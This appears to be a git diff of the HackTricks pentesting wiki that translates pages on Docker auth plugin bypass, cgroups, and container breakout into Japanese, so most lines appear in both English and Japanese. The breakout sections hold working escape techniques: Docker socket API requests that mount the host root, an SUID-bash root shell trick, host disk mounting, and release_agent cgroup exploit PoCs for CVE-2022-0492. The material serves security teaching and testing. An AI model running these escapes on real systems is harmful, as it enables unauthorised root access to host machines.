# Docker Auth Plugin Bypass
## Enumerate access
## アクセスの列挙
The main things to check are the **which endpoints are allowed** and **which values of HostConfig are allowed**.
確認すべき主な点は、**どのエンドポイントが許可されているか**と**どのHostConfigの値が許可されているか**です。
To perform this enumeration you can **use the tool** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.**
この列挙を行うには、**ツール** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**を使用**できます。
## disallowed `run --privileged`
### Minimum Privileges
## 許可されていない `run --privileged`
### 最小権限
```bash
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
```
### コンテナを実行し、その後特権セッションを取得する
### Running a container and then getting a privileged session
In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container:
この場合、sysadminは**ユーザーがボリュームをマウントし、`--privileged`フラグを使用してコンテナを実行することを禁止した**り、コンテナに追加の権限を与えたりしました：
```bash
docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.
```
However, a user can **create a shell inside the running container and give it the extra privileges**:
しかし、ユーザーは**実行中のコンテナ内にシェルを作成し、追加の権限を与えることができます**:
```bash
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
@ -81,42 +76,38 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
```
今、ユーザーは[**以前に議論した技術**](./#privileged-flag)を使用してコンテナから脱出し、ホスト内で**特権を昇格**させることができます。
Now, the user can escape from the container using any of the [**previously discussed techniques**](./#privileged-flag) and **escalate privileges** inside the host.
## Mount Writable Folder
In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder:
## 書き込み可能なフォルダーをマウント
この場合、システム管理者は**ユーザーが`--privileged`フラグを使用してコンテナを実行することを禁止**し、コンテナに追加の機能を与えることを許可せず、`/tmp`フォルダーをマウントすることのみを許可しました。
```bash
host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root
-p #This will give you a shell as root
```
> [!NOTE]
> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null`
> `/tmp` フォルダーをマウントできない場合がありますが、**別の書き込み可能なフォルダー**をマウントできます。書き込み可能なディレクトリを見つけるには、`find / -writable -type d 2>/dev/null` を使用してください。
>
> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.
> **Linux マシンのすべてのディレクトリが suid ビットをサポートするわけではありません！** suid ビットをサポートするディレクトリを確認するには、`mount | grep -v "nosuid"` を実行します。例えば、通常 `/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup`、および `/var/lib/lxcfs` は suid ビットをサポートしていません。
>
> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`)
> また、**`/etc`** または **設定ファイルを含む他のフォルダー** を **マウントできる** 場合、Docker コンテナ内で root としてそれらを変更し、**ホストで悪用して** 権限を昇格させることができます（例えば、`/etc/shadow` を変更すること）。
## Unchecked API Endpoint
## チェックされていない API エンドポイント
The responsibility of the sysadmin configuring this plugin would be to control which actions and with which privileges each user can perform. Therefore, if the admin takes a **blacklist** approach with the endpoints and the attributes he might **forget some of them** that could allow an attacker to **escalate privileges.**
このプラグインを設定する sysadmin の責任は、各ユーザーがどのアクションをどの権限で実行できるかを制御することです。したがって、管理者がエンドポイントと属性に対して **ブラックリスト** アプローチを取ると、攻撃者が **権限を昇格させる** 可能性のある **いくつかを忘れてしまう** かもしれません。
You can check the docker API in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
Docker API を確認するには、[https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) を参照してください。
## Unchecked JSON Structure
## チェックされていない JSON 構造
### Binds in root
It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Binds**".\
In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host:
### ルートのバインド
sysadmin が Docker ファイアウォールを設定したときに、[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) の "**Binds**" のような **重要なパラメータを忘れた** 可能性があります。\
次の例では、この誤設定を悪用して、ホストのルート (/) フォルダーをマウントするコンテナを作成して実行することができます。
```bash
docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
@ -126,38 +117,30 @@ docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem
```
> [!WARNING]
> Note how in this example we are using the **`Binds`** param as a root level key in the JSON but in the API it appears under the key **`HostConfig`**
> この例では、**`Binds`** パラメータを JSON のルートレベルキーとして使用していますが、API では **`HostConfig`** キーの下に表示されることに注意してください。
### Binds in HostConfig
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
### HostConfig の Binds
**ルートの Binds** と同様の指示に従い、Docker API にこの **リクエスト** を行います:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
```
### Mounts in root
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
**Binds in root** と同様の指示に従い、Docker API にこの **request** を実行します:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
```
### Mounts in HostConfig
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
**Binds in root**と同様に、Docker APIにこの**リクエスト**を行います:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
```
## チェックされていないJSON属性
## Unchecked JSON Attribute
It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS_MODULE** capability:
sysadminがdockerファイアウォールを設定した際に、[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)のパラメータの重要な属性である"**Capabilities**"を"**HostConfig**"内で**忘れた**可能性があります。次の例では、この誤設定を悪用して**SYS_MODULE**権限を持つコンテナを作成して実行することが可能です：
```bash
docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
@ -167,14 +150,12 @@ docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability
```
> [!NOTE]
> The **`HostConfig`** is the key that usually contains the **interesting** **privileges** to escape from the container. However, as we have discussed previously, note how using Binds outside of it also works and may allow you to bypass restrictions.
> **`HostConfig`** は、通常、コンテナから脱出するための **興味深い** **特権** を含むキーです。しかし、前述のように、これの外で Binds を使用することも機能し、制限を回避できる可能性があることに注意してください。
## Disabling Plugin
If the **sysadmin** **forgotten** to **forbid** the ability to **disable** the **plugin**, you can take advantage of this to completely disable it!
## プラグインの無効化
もし **sysadmin** が **プラグイン** を **無効にする** 能力を **禁止するのを忘れた** 場合、これを利用して完全に無効化することができます！
```bash
docker plugin list #Enumerate plugins
@ -186,10 +167,9 @@ docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot
```
プラグインを**特権昇格後に再有効化する**ことを忘れないでください。さもなければ、**dockerサービスの再起動は機能しません**！
Remember to **re-enable the plugin after escalating**, or a **restart of docker service won’t work**!
## Auth Plugin Bypass writeups
## Auth Plugin Bypass の書き込み
- [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/)

66
src/linux-hardening/privilege-escalation/docker-security/cgroups.md
View File

@ -2,18 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
**Linux Control Groups**, or **cgroups**, are a feature of the Linux kernel that allows the allocation, limitation, and prioritization of system resources like CPU, memory, and disk I/O among process groups. They offer a mechanism for **managing and isolating the resource usage** of process collections, beneficial for purposes such as resource limitation, workload isolation, and resource prioritization among different process groups.
**Linux Control Groups**、または**cgroups**は、プロセスグループ間でCPU、メモリ、ディスクI/Oなどのシステムリソースの割り当て、制限、優先順位付けを可能にするLinuxカーネルの機能です。これは、リソース制限、ワークロードの分離、異なるプロセスグループ間のリソース優先順位付けなどの目的に役立つ、プロセスコレクションのリソース使用を**管理および分離する**ためのメカニズムを提供します。
There are **two versions of cgroups**: version 1 and version 2. Both can be used concurrently on a system. The primary distinction is that **cgroups version 2** introduces a **hierarchical, tree-like structure**, enabling more nuanced and detailed resource distribution among process groups. Additionally, version 2 brings various enhancements, including:
**cgroupsには2つのバージョン**があります：バージョン1とバージョン2。両方はシステム上で同時に使用できます。主な違いは、**cgroupsバージョン2**が**階層的なツリー状の構造**を導入し、プロセスグループ間でのリソース配分をより微妙かつ詳細に行えるようにすることです。さらに、バージョン2は以下のようなさまざまな改善をもたらします：
In addition to the new hierarchical organization, cgroups version 2 also introduced **several other changes and improvements**, such as support for **new resource controllers**, better support for legacy applications, and improved performance.
新しい階層的な組織に加えて、cgroupsバージョン2は**新しいリソースコントローラー**のサポート、レガシーアプリケーションへのより良いサポート、パフォーマンスの向上など、**いくつかの他の変更と改善**も導入しました。
Overall, cgroups **version 2 offers more features and better performance** than version 1, but the latter may still be used in certain scenarios where compatibility with older systems is a concern.
You can list the v1 and v2 cgroups for any process by looking at its cgroup file in /proc/\<pid>. You can start by looking at your shell’s cgroups with this command:
全体として、cgroups **バージョン2はバージョン1よりも多くの機能と優れたパフォーマンスを提供**しますが、後者は古いシステムとの互換性が懸念される特定のシナリオではまだ使用される可能性があります。
任意のプロセスのv1およびv2 cgroupsをリストするには、そのcgroupファイルを/proc/\<pid>で確認します。次のコマンドを使用して、シェルのcgroupsを確認することから始めることができます：
```shell-session
$ cat /proc/self/cgroup
12:rdma:/
@ -28,63 +27,54 @@ $ cat /proc/self/cgroup
1:name=systemd:/user.slice/user-1000.slice/session-2.scope
0::/user.slice/user-1000.slice/session-2.scope
```
- **番号 2–12**: cgroups v1、各行は異なる cgroup を表します。これらのコントローラーは番号の隣に指定されています。
- **番号 1**: 同じく cgroups v1 ですが、管理目的のみに使用され（例: systemd によって設定）、コントローラーはありません。
- **番号 0**: cgroups v2 を表します。コントローラーはリストされておらず、この行は cgroups v2 のみを実行しているシステムで独占的です。
- **名前は階層的**で、ファイルパスに似ており、異なる cgroup 間の構造と関係を示しています。
- **/user.slice や /system.slice** のような名前は cgroup の分類を指定し、user.slice は通常 systemd によって管理されるログインセッション用、system.slice はシステムサービス用です。
The output structure is as follows:
### cgroups の表示
- **Numbers 2–12**: cgroups v1, with each line representing a different cgroup. Controllers for these are specified adjacent to the number.
- **Number 1**: Also cgroups v1, but solely for management purposes (set by, e.g., systemd), and lacks a controller.
- **Number 0**: Represents cgroups v2. No controllers are listed, and this line is exclusive on systems only running cgroups v2.
- The **names are hierarchical**, resembling file paths, indicating the structure and relationship between different cgroups.
- **Names like /user.slice or /system.slice** specify the categorization of cgroups, with user.slice typically for login sessions managed by systemd and system.slice for system services.
### Viewing cgroups
The filesystem is typically utilized for accessing **cgroups**, diverging from the Unix system call interface traditionally used for kernel interactions. To investigate a shell's cgroup configuration, one should examine the **/proc/self/cgroup** file, which reveals the shell's cgroup. Then, by navigating to the **/sys/fs/cgroup** (or **`/sys/fs/cgroup/unified`**) directory and locating a directory that shares the cgroup's name, one can observe various settings and resource usage information pertinent to the cgroup.
ファイルシステムは通常、**cgroups** へのアクセスに利用され、カーネルとのインタラクションに伝統的に使用される Unix システムコールインターフェースとは異なります。シェルの cgroup 設定を調査するには、**/proc/self/cgroup** ファイルを確認し、シェルの cgroup を明らかにします。その後、**/sys/fs/cgroup**（または **`/sys/fs/cgroup/unified`**）ディレクトリに移動し、cgroup の名前を共有するディレクトリを見つけることで、cgroup に関連するさまざまな設定やリソース使用情報を観察できます。
![Cgroup Filesystem](<../../../images/image (1128).png>)
The key interface files for cgroups are prefixed with **cgroup**. The **cgroup.procs** file, which can be viewed with standard commands like cat, lists the processes within the cgroup. Another file, **cgroup.threads**, includes thread information.
cgroups の主要なインターフェースファイルは **cgroup** で始まります。**cgroup.procs** ファイルは、cat などの標準コマンドで表示でき、cgroup 内のプロセスをリストします。別のファイル **cgroup.threads** にはスレッド情報が含まれています。
![Cgroup Procs](<../../../images/image (281).png>)
Cgroups managing shells typically encompass two controllers that regulate memory usage and process count. To interact with a controller, files bearing the controller's prefix should be consulted. For instance, **pids.current** would be referenced to ascertain the count of threads in the cgroup.
シェルを管理する cgroups は通常、メモリ使用量とプロセス数を制御する 2 つのコントローラーを含みます。コントローラーと対話するには、コントローラーのプレフィックスを持つファイルを参照する必要があります。たとえば、**pids.current** を参照して cgroup 内のスレッド数を確認します。
![Cgroup Memory](<../../../images/image (677).png>)
The indication of **max** in a value suggests the absence of a specific limit for the cgroup. However, due to the hierarchical nature of cgroups, limits might be imposed by a cgroup at a lower level in the directory hierarchy.
値に **max** が示されている場合、cgroup に特定の制限がないことを示唆しています。ただし、cgroups の階層的な性質により、ディレクトリ階層の下位レベルの cgroup によって制限が課される可能性があります。
### Manipulating and Creating cgroups
Processes are assigned to cgroups by **writing their Process ID (PID) to the `cgroup.procs` file**. This requires root privileges. For instance, to add a process:
### cgroups の操作と作成
プロセスは **`cgroup.procs` ファイルにそのプロセス ID (PID) を書き込むことによって** cgroups に割り当てられます。これには root 権限が必要です。たとえば、プロセスを追加するには:
```bash
echo [pid] > cgroup.procs
```
Similarly, **modifying cgroup attributes, like setting a PID limit**, is done by writing the desired value to the relevant file. To set a maximum of 3,000 PIDs for a cgroup:
同様に、**PID制限を設定するなどのcgroup属性の変更**は、関連するファイルに希望の値を書き込むことで行われます。cgroupの最大3,000 PIDを設定するには：
```bash
echo 3000 > pids.max
```
**新しいcgroupsの作成**は、cgroup階層内に新しいサブディレクトリを作成することを含み、これによりカーネルは必要なインターフェースファイルを自動的に生成します。アクティブなプロセスのないcgroupsは`rmdir`で削除できますが、いくつかの制約に注意してください：
**Creating new cgroups** involves making a new subdirectory within the cgroup hierarchy, which prompts the kernel to automatically generate necessary interface files. Though cgroups without active processes can be removed with `rmdir`, be aware of certain constraints:
- **Processes can only be placed in leaf cgroups** (i.e., the most nested ones in a hierarchy).
- **A cgroup cannot possess a controller absent in its parent**.
- **Controllers for child cgroups must be explicitly declared** in the `cgroup.subtree_control` file. For example, to enable CPU and PID controllers in a child cgroup:
- **プロセスはリーフcgroupsにのみ配置できます**（つまり、階層内で最もネストされたもの）。
- **cgroupは親に存在しないコントローラーを持つことはできません**。
- **子cgroupsのコントローラーは`cgroup.subtree_control`ファイルで明示的に宣言する必要があります**。たとえば、子cgroupでCPUとPIDコントローラーを有効にするには：
```bash
echo "+cpu +pids" > cgroup.subtree_control
```
**ルートcgroup**はこれらのルールの例外であり、プロセスを直接配置することを許可します。これを使用して、systemd管理からプロセスを削除することができます。
The **root cgroup** is an exception to these rules, allowing direct process placement. This can be used to remove processes from systemd management.
**cgroup内のCPU使用量の監視**は、`cpu.stat`ファイルを通じて可能で、消費された総CPU時間を表示し、サービスのサブプロセス全体の使用状況を追跡するのに役立ちます：
**Monitoring CPU usage** within a cgroup is possible through the `cpu.stat` file, displaying total CPU time consumed, helpful for tracking usage across a service's subprocesses:
<figure><img src="../../../images/image (908).png" alt=""><figcaption><p>cpu.statファイルに表示されるCPU使用統計</p></figcaption></figure>
<figure><img src="../../../images/image (908).png" alt=""><figcaption><p>CPU usage statistics as shown in the cpu.stat file</p></figcaption></figure>
## 参考文献
## References
- **Book: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward**
- **書籍: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward**
{{#include ../../../banners/hacktricks-training.md}}

320
src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md
View File

@ -2,35 +2,24 @@
{{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
## 自動列挙とエスケープ
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): コンテナを**列挙**することもできます
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): このツールは、コンテナを**列挙**し、自動的にエスケープを試みるのに非常に**便利**です
- [**amicontained**](https://github.com/genuinetools/amicontained): コンテナが持つ権限を取得し、そこからエスケープする方法を見つけるのに役立つツール
- [**deepce**](https://github.com/stealthcopter/deepce): コンテナから列挙し、エスケープするためのツール
- [**grype**](https://github.com/anchore/grype): イメージにインストールされているソフトウェアに含まれるCVEを取得します
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
## Automatic Enumeration & Escape
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers**
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically**
- [**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it
- [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers
- [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image
## Mounted Docker Socket Escape
If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\
This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.
## マウントされたDockerソケットエスケープ
もし何らかの理由で**dockerソケットがコンテナ内にマウントされている**ことがわかれば、そこからエスケープすることができます。\
これは通常、何らかの理由でアクションを実行するためにdockerデーモンに接続する必要があるdockerコンテナで発生します。
```bash
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
```
In this case you can use regular docker commands to communicate with the docker daemon:
この場合、通常のdockerコマンドを使用してdockerデーモンと通信できます：
```bash
#List images to use one
docker images
@ -44,14 +33,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
> [!NOTE]
> **dockerソケットが予期しない場所にある場合**でも、**`docker`**コマンドを使用して、パラメータ**`-H unix:///path/to/docker.sock`**で通信できます。
Dockerデーモンは、[ポートでリッスンしている可能性があります（デフォルトは2375、2376）](../../../../network-services-pentesting/2375-pentesting-docker.md) または、Systemdベースのシステムでは、Systemdソケット`fd://`を介してDockerデーモンと通信できます。
> [!NOTE]
> In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`**
Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`.
> [!NOTE]
> Additionally, pay attention to the runtime sockets of other high-level runtimes:
> さらに、他の高レベルランタイムのランタイムソケットにも注意してください：
>
> - dockershim: `unix:///var/run/dockershim.sock`
> - containerd: `unix:///run/containerd/containerd.sock`
@ -62,23 +50,21 @@ Docker daemon might be also [listening in a port (by default 2375, 2376)](../../
## Capabilities Abuse Escape
You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
You can check currently container capabilities using **previously mentioned automatic tools** or:
コンテナの能力を確認する必要があります。以下のいずれかを持っている場合、そこから脱出できる可能性があります：**`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE`、`CAP_SYS_RAWIO`、`CAP_SYSLOG`、`CAP_NET_RAW`、`CAP_NET_ADMIN`**
現在のコンテナの能力は、**前述の自動ツール**を使用するか、次の方法で確認できます：
```bash
capsh --print
```
In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges:
以下のページでは、**Linuxの能力**について学び、それを悪用して特権を逃れたり昇格させたりする方法を学ぶことができます：
{{#ref}}
../../linux-capabilities.md
{{#endref}}
## Escape from Privileged Containers
## 特権コンテナからの脱出
A privileged container can be created with the flag `--privileged` or disabling specific defenses:
特権コンテナは、フラグ `--privileged` を使用するか、特定の防御を無効にすることで作成できます：
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
@ -90,51 +76,44 @@ A privileged container can be created with the flag `--privileged` or disabling
- `--cgroupns=host`
- `Mount /dev`
The `--privileged` flag significantly lowers container security, offering **unrestricted device access** and bypassing **several protections**. For a detailed breakdown, refer to the documentation on `--privileged`'s full impacts.
`--privileged` フラグはコンテナのセキュリティを大幅に低下させ、**制限のないデバイスアクセス**を提供し、**いくつかの保護を回避**します。詳細な内訳については、`--privileged` の完全な影響に関するドキュメントを参照してください。
{{#ref}}
../docker-privileged.md
{{#endref}}
### Privileged + hostPID
### 特権 + hostPID
With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Test it in a container executing:
これらの権限を使用すると、単に**ホストでrootとして実行されているプロセスの名前空間に移動する**ことができます。例えば、init (pid:1) に対して、次のコマンドを実行します： `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
コンテナ内で次のようにテストしてください：
```bash
docker run --rm -it --pid=host --privileged ubuntu bash
```
### 特権
### Privileged
Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release_agent or other escapes**.
Test the following bypasses in a container executing:
特権フラグを使用するだけで、**ホストのディスクにアクセス**したり、**release_agentや他のエスケープを悪用してエスケープを試みたり**することができます。
次のバイパスをコンテナで実行してテストしてください:
```bash
docker run --rm -it --privileged ubuntu bash
```
#### ディスクのマウント - Poc1
#### Mounting Disk - Poc1
Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive.
適切に構成されたdockerコンテナでは、**fdisk -l**のようなコマンドは許可されません。しかし、`--privileged`または`--device=/dev/sda1`のフラグが指定された誤った構成のdockerコマンドでは、ホストドライブを見るための権限を取得することが可能です。
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
So to take over the host machine, it is trivial:
したがって、ホストマシンを乗っ取るのは簡単です：
```bash
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
```
そして、これで！ホストのファイルシステムにアクセスできるようになりました。これは `/mnt/hola` フォルダーにマウントされています。
And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder.
#### Mounting Disk - Poc2
Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
#### ディスクのマウント - Poc2
コンテナ内で、攻撃者はクラスターによって作成された書き込み可能な hostPath ボリュームを介して、基盤となるホスト OS へのさらなるアクセスを試みるかもしれません。以下は、この攻撃者ベクターを利用できるかどうかを確認するためにコンテナ内でチェックできる一般的な項目です：
```bash
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger
@ -155,9 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
### debugfs (Interactive File System Debugger)
debugfs /dev/sda1
```
#### Privileged Escape Abusing existent release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
#### 特権エスケープ 既存の release_agent を悪用する ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
```bash:Initial PoC
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
@ -191,9 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# Reads the output
cat /o
```
#### Privileged Escape Abusing created release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
#### 特権エスケープ 作成された release_agent を悪用する ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
```bash:Second PoC
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
@ -235,21 +210,17 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
Find an **explanation of the technique** in:
{{#ref}}
docker-release_agent-cgroups-escape.md
{{#endref}}
#### Privileged Escape Abusing release_agent without known the relative path - PoC3
#### 特権エスケープ release_agentを相対パスを知らずに悪用する - PoC3
In the previous exploits the **absolute path of the container inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the container inside the host** you can use this technique:
前のエクスプロイトでは、**ホストのファイルシステム内のコンテナの絶対パスが開示されます**。しかし、これは常にそうではありません。ホスト内のコンテナの**絶対パスがわからない場合**は、この技術を使用できます：
{{#ref}}
release_agent-exploit-relative-paths-to-pids.md
{{#endref}}
```bash
#!/bin/sh
@ -288,20 +259,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
@ -309,9 +280,7 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
Executing the PoC within a privileged container should provide output similar to:
特権コンテナ内でPoCを実行すると、次のような出力が得られるはずです：
```bash
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
@ -339,37 +308,33 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
```
#### 特権エスケープ：センシティブマウントの悪用
#### Privileged Escape Abusing Sensitive Mounts
マウントされる可能性のあるいくつかのファイルがあり、これらは**基盤となるホストに関する情報**を提供します。中には、**何かが発生したときにホストによって実行されるべき何かを示す**ものもあります（これにより攻撃者はコンテナからエスケープすることができます）。\
これらのファイルの悪用により、以下が可能になる場合があります：
There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\
The abuse of these files may allow that:
- release_agent (already covered before)
- release_agent（以前に説明済み）
- [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc)
- [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern)
- [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper)
- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
However, you can find **other sensitive files** to check for in this page:
ただし、このページで確認すべき**他のセンシティブファイル**を見つけることができます：
{{#ref}}
sensitive-mounts.md
{{#endref}}
### Arbitrary Mounts
In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasn’t correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized_keys…
### 任意のマウント
